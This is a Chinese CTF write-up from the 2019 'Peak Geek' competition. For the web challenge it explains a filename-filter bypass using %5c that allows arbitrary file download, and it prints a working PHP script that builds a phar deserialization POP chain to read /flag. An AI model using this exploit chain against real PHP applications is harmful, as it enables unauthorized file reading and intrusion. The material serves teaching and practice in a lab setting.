2019巅峰极客-wp

  1. Misc
    1. 签到
      1. 解题思路:
  2. Web
    1. upload
      1. 解题思路:

Misc

签到

解题思路:

将题目下载下来后是一个zip压缩包,解压后是一个PE程序 签到.exe,由于本人较菜,不会用IDA获得flag,于是就采用了笨方法,等了一段时间,flag已终于出来了。

Web

upload

解题思路:

1 随便点击可以发现题目泄露了如下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}

2 审计可以发现是个任意下载的点,代码对其项目的文件名做了过滤,需要第一次不满足,第二次满足,那么问题问题肯定出在safe_replace,fuzz一下可以发现这个函数把%5c置为空。那么就用形如inde%5cx的形式把文件下下来。

3 审计一下可以发现是个phar+pop链的套路题,phar的触发点在file.php

4 pop链的构造在show.php,gadget依次为__destruct->__call->__toString
payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
class Show
{
public $source = '/flag';
public $str;
public function __toString()
{
var_dump('__toString');
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
var_dump($this->source);
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params = array('_show'=>'file_get');
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
var_dump('file_get');
var_dump($this->file);
echo $this->file;
}

public function setter($obj)
{
$this->file = $obj;
}
}

class Sh0w
{
public $test;
public $str;
public function __destruct()
{
$this->str->_show();
}
}

$sh0w = new Sh0w();
$s6ow = new S6ow();
$show = new Show();

$s6ow->setter($show);
$sh0w->str = $s6ow;


@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = $sh0w;
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。

×

喜欢就点赞,疼爱就打赏